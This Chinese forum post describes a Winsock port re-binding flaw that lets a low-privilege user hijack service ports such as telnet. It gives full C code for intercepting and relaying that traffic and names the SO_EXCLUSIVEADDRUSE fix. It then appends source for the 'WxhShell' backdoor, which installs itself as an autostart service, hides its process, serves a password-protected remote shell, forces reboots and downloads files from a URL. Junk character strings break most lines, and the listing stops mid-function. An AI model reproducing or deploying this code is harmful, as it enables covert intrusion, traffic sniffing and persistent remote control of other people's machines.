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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: SE+K"faKQ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ue|]M36  
SGMLs'D   
  saddr.sin_family = AF_INET; jcF/5u5e  
w U.K+4-k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4NxtU/5-sU  
vkan+~H  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @RKw1$BA  
?6@Y"5 z3g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e[}R1/! L  
,R$n I*mf_  
  这意味着什么?意味着可以进行如下的攻击: F|X-|Co  
 }5^j08  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j'i-XIs  
sbOa] 5]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [#H$@g|CT  
+x$;T*0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 xKz^J SF  
;pdW7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  emb~l{K$  
OL*EY:]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $~4ZuV%  
s%`o  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Rxld$@~-(]  
ZWW:-3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Y'kD_T`f,  
+ oyW_!(  
  #include D .| h0gU  
  #include $H^hK0?'  
  #include m*h d%1D  
  #include    NG@9 }O  
  DWORD WINAPI ClientThread(LPVOID lpParam);   o Wg5-pMWZ  
  int main() zEJ|;oL  
  { , %X~/V  
  WORD wVersionRequested; X\\WQxj  
  DWORD ret; ;<%~g8:XL  
  WSADATA wsaData; ,WbO8#z+  
  BOOL val; elXY*nt8h  
  SOCKADDR_IN saddr; 0mL#8\'"  
  SOCKADDR_IN scaddr; E]6C1C&K  
  int err; uYiM~^ 0  
  SOCKET s; 72} MspzUt  
  SOCKET sc; [Z0&`qz  
  int caddsize; yB(^t`)}N  
  HANDLE mt; ]c8lZO>  
  DWORD tid;   0Z#&!xTb  
  wVersionRequested = MAKEWORD( 2, 2 ); 3/o-\wWO  
  err = WSAStartup( wVersionRequested, &wsaData ); ;ej;<7+  
  if ( err != 0 ) { rixNz@p'%  
  printf("error!WSAStartup failed!\n"); nGGYKI  
  return -1; 6gfv7V2H  
  } Zr'VA,v  
  saddr.sin_family = AF_INET; ihKnZcI$i  
   y1^<!I  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 RH^8"%\  
3]0ETcT  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); MTBN&4[  
  saddr.sin_port = htons(23); ?G+v#?A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T>d-f=(9KH  
  { u!mUUFl  
  printf("error!socket failed!\n"); :<Y,^V(  
  return -1; T<~NB5&f  
  } #)_4$<P*'  
  val = TRUE; & :x_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S/ ]2Qt#T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) erYpeq.  
  { *nU7v3D  
  printf("error!setsockopt failed!\n"); d@pD5n=m;  
  return -1; 21M@z(q*  
  } /og2+!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l,HMm|oU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ra[{K@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s CSrwsbhv  
U,Nf&g  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) TIlcdpwXf  
  { gO4` e(W  
  ret=GetLastError(); Z1u{.^~^z  
  printf("error!bind failed!\n"); 8$-(%  
  return -1; 828E^Q"<  
  } 8.Wf^j$+{  
  listen(s,2); YmFJlMK  
  while(1) }'a}s0h  
  { Gr&5 mniu  
  caddsize = sizeof(scaddr); eiI}:5~ /g  
  //接受连接请求 #A@*k}/+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "n:z("Q*  
  if(sc!=INVALID_SOCKET) >}GtmnF  
  { LHKawEZ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); wgpu]ooUF&  
  if(mt==NULL) QM`A74j0]\  
  { Ki{&,:@  
  printf("Thread Creat Failed!\n"); l~Hs]*jm  
  break; 3J~Q pw0<  
  } Jj_E/c"  
  } i,M<}e1  
  CloseHandle(mt); !.H< dQS  
  } $0V<wsVM  
  closesocket(s); O8TAc]B  
  WSACleanup(); ^k]OQc7q'  
  return 0; wqJ^tA!  
  }   3|-)]^1O  
  DWORD WINAPI ClientThread(LPVOID lpParam) gI6./;;x  
  { p E lF,Y  
  SOCKET ss = (SOCKET)lpParam; D`,W1Z#  
  SOCKET sc; d%NO_=I.  
  unsigned char buf[4096]; 3iJ4VL7  
  SOCKADDR_IN saddr; Q3u P7j  
  long num; m^@,0\F  
  DWORD val; c?"#x-<1s  
  DWORD ret; 5;oWFl  
  //如果是隐藏端口应用的话,可以在此处加一些判断 IM|VGT0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i-~HT4iw  
  saddr.sin_family = AF_INET; z{Z'2,#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4*d$o=wa  
  saddr.sin_port = htons(23); '@i/?rNi%N  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rR&;2  
  { 03L+[F&"?  
  printf("error!socket failed!\n"); .Ebg>j:\  
  return -1; AK%`EsI^  
  } l_5]~N  
  val = 100; *=mtt^yZ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8- 3]Bm!  
  { 9^QiFgJy  
  ret = GetLastError(); iyAeR!`  
  return -1; 9'faH  
  } @v\Osp t=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <xOXuve  
  { QI'ule  
  ret = GetLastError(); "VR>nyG%  
  return -1; kL\ FY  
  } zs:O HEZw  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vx62u29m  
  { .;)7)%  
  printf("error!socket connect failed!\n"); ozwPtF5  
  closesocket(sc);  0eUK'   
  closesocket(ss); =7wI/5iN  
  return -1; -b"mx"'?  
  } A-x; ai]  
  while(1) xCGa3X  
  { s9+Rq*Qd  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m1H_kJ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]=!wMn**  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8Q ba4kgL  
  num = recv(ss,buf,4096,0); o|O730"2F  
  if(num>0) &~)PB |  
  send(sc,buf,num,0); k=!lPIx  
  else if(num==0) r0t4\d_&  
  break; 67/JsL  
  num = recv(sc,buf,4096,0); + 2 v6fan  
  if(num>0) l*~O;do  
  send(ss,buf,num,0); 'Dw+k;RH  
  else if(num==0) Tq{+9+  
  break; '[(]62j  
  } EZnXS"z  
  closesocket(ss); V&)Jvx}^  
  closesocket(sc); hS&3D6G t  
  return 0 ; !*Ex}K99  
  } 4A0 ,N8ja}  
=`Ii ?xo  
HXV4E\JA  
========================================================== XzLB#0  
&?X0;,5)  
下边附上一个代码,,WXhSHELL BwOIdz%]OY  
1.Kun !w  
========================================================== ayF+2(vch)  
xb{G:v  
#include "stdafx.h" r+ v?~m!  
{<ms;Oi'  
#include <stdio.h> p1t qwV  
#include <string.h> IE*eDj  
#include <windows.h> xs#g  
#include <winsock2.h> >,%or cN  
#include <winsvc.h> #<h//<  
#include <urlmon.h> +}3l$L'bY  
u7||]|2  
#pragma comment (lib, "Ws2_32.lib") PY81MTv0;  
#pragma comment (lib, "urlmon.lib") (|O9L s7N  
k-it#'ll{x  
#define MAX_USER   100 // 最大客户端连接数 \jA#RF.W  
#define BUF_SOCK   200 // sock buffer RW"QUT  
#define KEY_BUFF   255 // 输入 buffer vq?Lej  
4# +i\H`  
#define REBOOT     0   // 重启 WSEw:pln  
#define SHUTDOWN   1   // 关机 hK]mnA[Y  
%lsRj)n  
#define DEF_PORT   5000 // 监听端口 7:/gO~g I  
<|-da&7  
#define REG_LEN     16   // 注册表键长度 T)c<tIr6  
#define SVC_LEN     80   // NT服务名长度 ,J;Cb}  
tzIcR #Z  
// 从dll定义API CghlyT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \-?0ab3Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L5[{taZ,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;f?suawMv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZLI t 3  
c'|](vOd]  
// wxhshell配置信息 ~fnu;'fN  
struct WSCFG { N 2XL5<  
  int ws_port;         // 监听端口 4og/y0n,l"  
  char ws_passstr[REG_LEN]; // 口令 JjMa   
  int ws_autoins;       // 安装标记, 1=yes 0=no i}Q"'?  
  char ws_regname[REG_LEN]; // 注册表键名 W 6c]a/  
  char ws_svcname[REG_LEN]; // 服务名 njxfBA:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9{*$[%d1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ) kMF~S|H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0RZ[]:(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Oa.84a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VW`SqUl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WuuF &0?8C  
X 0vcBHh  
}; g1kYL$o4  
,>p1:pga  
// default Wxhshell configuration 9%Eo<+my h  
struct WSCFG wscfg={DEF_PORT, %_@T'!]  
    "xuhuanlingzhe", c7~'GXxQ2  
    1, U9"(jl/o  
    "Wxhshell", 9Bao~(j/k  
    "Wxhshell", !S~0T!afF  
            "WxhShell Service", kqkTz_r|H  
    "Wrsky Windows CmdShell Service",  CK+t6Gp  
    "Please Input Your Password: ", xlcL;e&^P  
  1, x^zw1e,y  
  "http://www.wrsky.com/wxhshell.exe", ;\g0* b(  
  "Wxhshell.exe" "5HSCl$r%  
    }; oRZ98?Y\B  
"wy2u~  
// 消息定义模块 vnN 0o5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [KL-T16  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j-cp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5,R4:y ?cK  
char *msg_ws_ext="\n\rExit."; ?}e^-//*i  
char *msg_ws_end="\n\rQuit."; Kn=0AdM  
char *msg_ws_boot="\n\rReboot..."; w,i?e\5  
char *msg_ws_poff="\n\rShutdown..."; =&i#NSK  
char *msg_ws_down="\n\rSave to "; l*.u rG  
s(T0lul  
char *msg_ws_err="\n\rErr!"; !,|-{":  
char *msg_ws_ok="\n\rOK!"; eo*l^7  
72CHyl`|l  
char ExeFile[MAX_PATH]; ]Z nASlc)  
int nUser = 0; P$x9Z3d_  
HANDLE handles[MAX_USER]; Jmuyd\?,b  
int OsIsNt; h% eGtd$n  
I&U.5wf  
SERVICE_STATUS       serviceStatus; @<.ei)cqb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L} "bp  
u69UUkG  
// 函数声明 VOJ/I Dl 4  
int Install(void); #;[0:jU0  
int Uninstall(void); h/Yxm2  
int DownloadFile(char *sURL, SOCKET wsh); kRjNz~g  
int Boot(int flag); uBK0+FLL@  
void HideProc(void); ]Twyj  
int GetOsVer(void); I_m3|VCa|t  
int Wxhshell(SOCKET wsl); c@2a)S8Y]  
void TalkWithClient(void *cs); G@KDRv  
int CmdShell(SOCKET sock); TSD7R  
int StartFromService(void); 8@[S,[  
int StartWxhshell(LPSTR lpCmdLine); )@ofczl6  
IH&0>a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -=cm7/X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _NB*+HVo  
"F =NDF  
// 数据结构和表定义 -{}h6r  
SERVICE_TABLE_ENTRY DispatchTable[] = *c\XQy  
{ boI&q>-6Re  
{wscfg.ws_svcname, NTServiceMain}, DaQ+XUH?  
{NULL, NULL} jGi{:}`lB  
}; 0l3[?YtXc  
K {kd:pr  
// 自我安装 $q*a}d[Q  
int Install(void) 80=LT-%#  
{ t`="2$NO  
  char svExeFile[MAX_PATH]; ^Ze(WE)  
  HKEY key; &~Y%0&F,&  
  strcpy(svExeFile,ExeFile); qm"SN<2S*  
;mYZ@g%e  
// 如果是win9x系统,修改注册表设为自启动 ^J&D)&"j  
if(!OsIsNt) { :C>iV+B j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C1fd@6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b}DC|?~M  
  RegCloseKey(key); gW<6dP'v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h\p!J-V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E~#G_opQA  
  RegCloseKey(key); dl"=ZI '^  
  return 0; 0hhxTOp  
    } Rc:}%a%e  
  } s= ]NKJaQH  
} +HPcv u?1  
else { u]Q}jqiq"  
+;\w'dBi,  
// 如果是NT以上系统,安装为系统服务 SXP(C^?C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'pT13RFD  
if (schSCManager!=0) b*(K;`9)B  
{ 8Ji`wnkXe  
  SC_HANDLE schService = CreateService j^5YFUwsQg  
  ( [-VK! 9pQ  
  schSCManager, $OG){'X  
  wscfg.ws_svcname, ,oUzaEX  
  wscfg.ws_svcdisp, Z.&/,UU:4  
  SERVICE_ALL_ACCESS, }S8aR:'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2*<Zc|uNW  
  SERVICE_AUTO_START, I-/>M/66  
  SERVICE_ERROR_NORMAL, z"T+J?V/  
  svExeFile, sfipAM  
  NULL, qFK.ULgP`  
  NULL,  4pl\qf  
  NULL, 5'NNwc\  
  NULL, 1)^\R(l  
  NULL  =   
  ); IA<>+NS  
  if (schService!=0) vQ* RrHG?c  
  { `kJ)E;v;3  
  CloseServiceHandle(schService); ]\KVA)\  
  CloseServiceHandle(schSCManager); ^8EW/$k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xxyc^\$  
  strcat(svExeFile,wscfg.ws_svcname); $cK}Tl q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A yr ,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p3Qls*  
  RegCloseKey(key); z bYv}q  
  return 0; 'iF%mnJ  
    } f] #\&"  
  } u178vby;l  
  CloseServiceHandle(schSCManager); D{s87h  
} i%!<6K6UT  
} pHoHngyi&  
r-wCAk}m*?  
return 1; %'ah,2a%  
} '5 Yzo^R;  
f*<Vq:N=\  
// 自我卸载 F{;#\Ob  
int Uninstall(void) (BPO*'  
{ ~CT]&({  
  HKEY key; >G8I X^*sG  
AwXzI;F^  
if(!OsIsNt) { L'r&'y[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z?<B@\~  
  RegDeleteValue(key,wscfg.ws_regname); lHtywZ@%3  
  RegCloseKey(key); rbnAC*y8'L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %SOXw 8-  
  RegDeleteValue(key,wscfg.ws_regname); r@}`Sw]@  
  RegCloseKey(key); t 86w&  
  return 0; >vp4R`  
  } BK%. wi  
} )M.s<Y  
} x;)I%c  
else { ?tY+P`S  
 u&#>)h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ']TWWwj$  
if (schSCManager!=0) P4q5#r  
{ cN0 *<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1R3,Z8j'  
  if (schService!=0) !DzeJWM|  
  { #<< el;n  
  if(DeleteService(schService)!=0) { L&DjNu`!9  
  CloseServiceHandle(schService); Sc]K-]1(H  
  CloseServiceHandle(schSCManager); iq*im$9 J  
  return 0; F$)l8}  
  } 2PYnzAsl  
  CloseServiceHandle(schService); . 2$J-<O  
  } 5PO_qr= Hx  
  CloseServiceHandle(schSCManager); JyZuj>` 6  
} o *J*} y  
} #Z1-+X8P  
mA{?E9W  
return 1; udqrHR5  
} TG}owG]]  
y62f{ks_/  
// 从指定url下载文件 sJ|pR=g)!  
int DownloadFile(char *sURL, SOCKET wsh)  >9!J?HA  
{ 9^W7i]-Z  
  HRESULT hr; S[exnZ*Y  
char seps[]= "/"; -DdHl8  
char *token; *sOb I(&  
char *file; 3~T ~Bs  
char myURL[MAX_PATH]; ekvs3a^  
char myFILE[MAX_PATH]; B^/MwD>%  
#zTy7ZS,0  
strcpy(myURL,sURL); a*y9@RC}  
  token=strtok(myURL,seps); a~7D4G  
  while(token!=NULL) #+1|O;PB#  
  { -n.m "O3  
    file=token; yuZLsH  
  token=strtok(NULL,seps); u-t=M]  
  } <4; nq~  
04-_ K  
GetCurrentDirectory(MAX_PATH,myFILE); HpEd$+Mz  
strcat(myFILE, "\\"); _# sy  
strcat(myFILE, file); uP'L6p5  
  send(wsh,myFILE,strlen(myFILE),0); uC;_?Bve  
send(wsh,"...",3,0); M5h r0 R{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xT"V9t[f  
  if(hr==S_OK) rS_G;}Zr  
return 0; 2{&A)Z!I  
else rP4T;Clout  
return 1; Nu6NyYs  
?Z 2,?G  
} M YF ^zheD  
/eQAGFG  
// 系统电源模块 p75o1RU  
int Boot(int flag) LZn'+{\`  
{ :|s8v2am  
  HANDLE hToken; zG#5lzIu,  
  TOKEN_PRIVILEGES tkp; F,Q;sq  
3P6O]x<-?  
  if(OsIsNt) { RqTO3Kf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8TFQ%jv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @e)}#kN.  
    tkp.PrivilegeCount = 1; f256;3n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X%'z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "@&TC"YG0  
if(flag==REBOOT) { W^[FWFUTY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y/5M)AyJt  
  return 0; 6Cj7 =|L7  
} 2'?'dfj  
else { 23):OB>S`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !G3AD3  
  return 0; gsyOf*Q$  
} ~A=zjkm  
  } W<)P@_+-  
  else { 2|>\A.I|=  
if(flag==REBOOT) { 9~Dg<wQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =IC.FT}  
  return 0; mITB\,,G  
} BX?DI-o^h  
else { _iJ~O1qx,w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8z1z<\  
  return 0; 3^UdB9j;  
} rRq60A  
} P$obID  
`DY yK?R  
return 1; ,s~l; Gkj  
} 5?-HQoT)G  
"ioO_  
// win9x进程隐藏模块 wD9K\%jIr!  
void HideProc(void) N_c44[z 1  
{ M1kA-Xr  
{]Zan'{PCO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5.6tVr  
  if ( hKernel != NULL ) (!nkv^]  
  { yNns6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (t-hi8"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f)*"X[)o  
    FreeLibrary(hKernel); % Ln`c.C  
  } 6HY): M&?  
eq6O6-  
return; DC8#b`j  
} *2zp>(%  
[KK |_  
// 获取操作系统版本 MLWHO$C~T  
int GetOsVer(void) N1~bp?$1  
{ y&$n[j  
  OSVERSIONINFO winfo; }emUpju<C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7_\sx7h{3  
  GetVersionEx(&winfo); Yj&Sb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e"04jd/  
  return 1; 9[.HWe,  
  else { ptd OrN  
  return 0; 1b9S";ct0  
} ^+m`mcsE  
cZh0\Dy U  
// 客户端句柄模块 *kLFs|U  
int Wxhshell(SOCKET wsl) huC{SzXM  
{ +Ryj82;59z  
  SOCKET wsh; G WIsT\J  
  struct sockaddr_in client; ;b{#$#`=  
  DWORD myID; ]pR?/3  
arL>{mj  
  while(nUser<MAX_USER) 7H3v[ f^Q  
{ ]M5~p^ RB  
  int nSize=sizeof(client); R0-0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bB_LL  
  if(wsh==INVALID_SOCKET) return 1; Jp=qPG|  
?J:w,,4m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <[db)r~c  
if(handles[nUser]==0)  vywB{%p  
  closesocket(wsh); B"GC|}N )v  
else *J-pAN  
  nUser++; G8M~}I/)  
  } \jC) ;mk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =<n ]T;  
& BPYlfB1  
  return 0; gRY#pRT6d  
} << 6 GE  
Cf[tNq  
// 关闭 socket roS" q~GS,  
void CloseIt(SOCKET wsh) v,-Tk=qP  
{ v?`R8  
closesocket(wsh); Q#p)?:o/  
nUser--; *wTX  
ExitThread(0); J>_mDcPo  
} `yfZ{<  
0nwi5  
// 客户端请求句柄 <j'K7We/tP  
void TalkWithClient(void *cs) rbd0`J9fq  
{ Dd?G4xUG  
u n v:sV#b  
  SOCKET wsh=(SOCKET)cs; JG!B3^qB  
  char pwd[SVC_LEN]; TUp\,T^2  
  char cmd[KEY_BUFF]; .\XRkr'-  
char chr[1]; ]K(a32VCH  
int i,j; ,j%\3g`  
QEJu.o  
  while (nUser < MAX_USER) { oZ%uq78#[%  
&hWELZe0vv  
if(wscfg.ws_passstr) { b-& rMML  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iE'_x$i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lju5+0BSb  
  //ZeroMemory(pwd,KEY_BUFF); 8&@=Anc&q  
      i=0; m^ xTV-#l@  
  while(i<SVC_LEN) { e)e(f"t6Q  
qR@ES J_  
  // 设置超时 Lvf<g}?4  
  fd_set FdRead; Z[@ i/. I  
  struct timeval TimeOut; t utk*|S  
  FD_ZERO(&FdRead); \tgY2 :  
  FD_SET(wsh,&FdRead); e4YfJd  
  TimeOut.tv_sec=8; @D9O<x  
  TimeOut.tv_usec=0; zB%~=@Q^6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0!\gK <,z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \lK?f]qJq  
L~ &S<5?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ko}& X=  
  pwd=chr[0]; Mk*4J]PP  
  if(chr[0]==0xd || chr[0]==0xa) { c^W;p2^  
  pwd=0; q-z1ElrN7u  
  break; ?AFb&  
  } }U7IMONU  
  i++; 8-G )lyfj  
    } Q6(~VvC-  
Y(,RJ&7  
  // 如果是非法用户,关闭 socket M ygCg(h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Gpu[<Z4  
} s,_+5ukv  
]xvA2!) Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I$"Z\c8;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .F ?ww}2p]  
/gu VA  
while(1) { "(mJupI  
;2kQ)Bq"  
  ZeroMemory(cmd,KEY_BUFF); 2VV>?s  
(XOz_K6c%K  
      // 自动支持客户端 telnet标准   iF`_-t/k  
  j=0; a?-Jj\q  
  while(j<KEY_BUFF) { nFni1cCD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &eV5#Ph  
  cmd[j]=chr[0]; ["nWIs[h  
  if(chr[0]==0xa || chr[0]==0xd) { DGJ:#U E  
  cmd[j]=0; U.TZd"  
  break; f,ro1Nke  
  } VESvCei  
  j++; EP38Ho=[  
    } O8Mypv/C  
 m}yu4  
  // 下载文件 QbdXt%gZe  
  if(strstr(cmd,"http://")) { dg|+?M^9`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g+o$&'\  
  if(DownloadFile(cmd,wsh)) rai'x/Ut}+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qK'mF#n0#  
  else | co#X8J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %/2 ` u  
  } #. Dl1L/  
  else { V_ 6K?~j  
w^L`"  
    switch(cmd[0]) { 2]fTDKh  
  tM5(&cQ!d  
  // 帮助 #s~ITG #H  
  case '?': { 7O)ATb#up  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }6l:'nW  
    break; Xf;!w:u  
  } G:e=9qTf  
  // 安装 \B')2phE  
  case 'i': { 3JD62wtx  
    if(Install()) ;*5z&1O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dml?.-Uv<  
    else 9?Bh8%$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hEjvtfM9\-  
    break; "0!#De  
    } 6ud?US(  
  // 卸载 D?ic~-&  
  case 'r': { z\v  
    if(Uninstall()) I 6WHC*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rE*yT(:w  
    else `_yksh3zL4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); og$dv 23  
    break; Q8HNST($?  
    } _U*R_2aV  
  // 显示 wxhshell 所在路径 YEV;GFI1  
  case 'p': { 86%k2~L  
    char svExeFile[MAX_PATH]; q!&:y7O8  
    strcpy(svExeFile,"\n\r"); N_D=j 6B  
      strcat(svExeFile,ExeFile); }*XF- U  
        send(wsh,svExeFile,strlen(svExeFile),0);  mTH[*Y,  
    break; (l][_6Q  
    } FBNi (D  
  // 重启 ]oix))'n  
  case 'b': { GGHMpQ   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4PSbr$  
    if(Boot(REBOOT)) Gad&3M0r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~RLjL"  
    else { pe[huYE  
    closesocket(wsh); {{A=^rr%C  
    ExitThread(0); nkq{_;xp  
    } $I`,nN  
    break; (6[<+j&.  
    } o ^w^dgJ  
  // 关机 +2E~=xX  
  case 'd': { ~DLxIe  
